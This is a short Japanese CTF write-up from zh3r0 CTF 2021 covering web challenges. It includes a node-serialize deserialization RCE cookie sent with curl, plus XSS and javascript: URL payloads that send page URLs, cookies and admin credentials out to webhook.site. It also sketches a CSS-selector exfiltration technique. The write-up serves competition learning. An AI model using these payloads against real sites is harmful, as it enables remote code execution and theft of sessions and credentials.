6/4 - 6/6という日程で開催された。zer0ptsで参加して1位🎉
[Web] sparta
node-serialize
というライブラリの脆弱性を使うとRCEできる。
$ curl -X POST -i http://web.zh3r0.cf:6666/guest -b "guest=eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbiAoKXtyZXR1cm4gcmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCdjYXQgL2ZsYWcudHh0Jyk7fSgpIn0=" HTTP/1.1 200 OK X-Powered-By: Express Content-Type: text/html; charset=utf-8 Content-Length: 152 ETag: W/"98-wa7FnPEe8H/xgAxndfDMHqagFhM" Date: Fri, 04 Jun 2021 10:46:39 GMT Connection: keep-alive Keep-Alive: timeout=5 Hello zh3r0{4ll_y0u_h4d_t0_d0_w4s_m0v3_th3_0bjc3ts_3mper0r}
[Web] bxxs
Blind XSS。次のペイロードで http://0.0.0.0:8080/Secret_admin_cookie_panel
というパスにXSSがあることがわかる。/Secret_admin_cookie_panel
にアクセスした後に /flag
にアクセスしたらフラグが得られた記憶があるんだけど、詳しくは覚えていない。
<script>(async()=>{navigator.sendBeacon('https://webhook.site/...',location.href)})()</script>
[Web] Flags
こんな感じのCSPがある中でHTML Injectionができる。script-src
はあるが、default-src
も style-src
もないのでCSSでフラグを読み出す。
<meta http-equiv='Content-Security-Policy' content="script-src 'nonce-56b1e164d7ad85bd42b50fec2c59d2b5d680cbc84b45a8069a30aba8528f0df030aa431126513432a58d98a437cd834e1cc67cb474ba01364960602e9e1edaf0'; object-src 'none'; base-uri 'none'require-trusted-types-for 'script'; frame-src 'none'">
読み出したいものは input
の属性値なので input[value^=...] { background: url(...); }
みたいな単純なペイロードでなんとかなる。
[Web] Original Store
XSS botは javascript:
スキームも受け付けてしまうので、開かれているWebサイトのコンテキストで好きなJavaScriptコードを実行させることができる。javascript:location.href=['https://webhook.site/...?',document.cookie]
で PHPSESSID
が得られる。
[Web] Original Store v2
ログイン画面から /api/
というディレクトリの存在がわかる。アクセスするとディレクトリのインデックスが表示されるが、そのうち /api/v1/authorize.php
はログイン中のアカウントのユーザ名とパスワードをJSONで返す。XSS botはCookieをリークしなくなったけど、javascript:
スキームは相変わらず受け付けるので、さっきのAPIを使ってadminのユーザ名とパスワードを奪う。CORSをなんかアレするのが想定解法だったらしい。
javascript:(async()%3D>{location.href=['https://webhook.site/...?',encodeURIComponent(await(await fetch('/api/v1/authorize.php')).text())]})()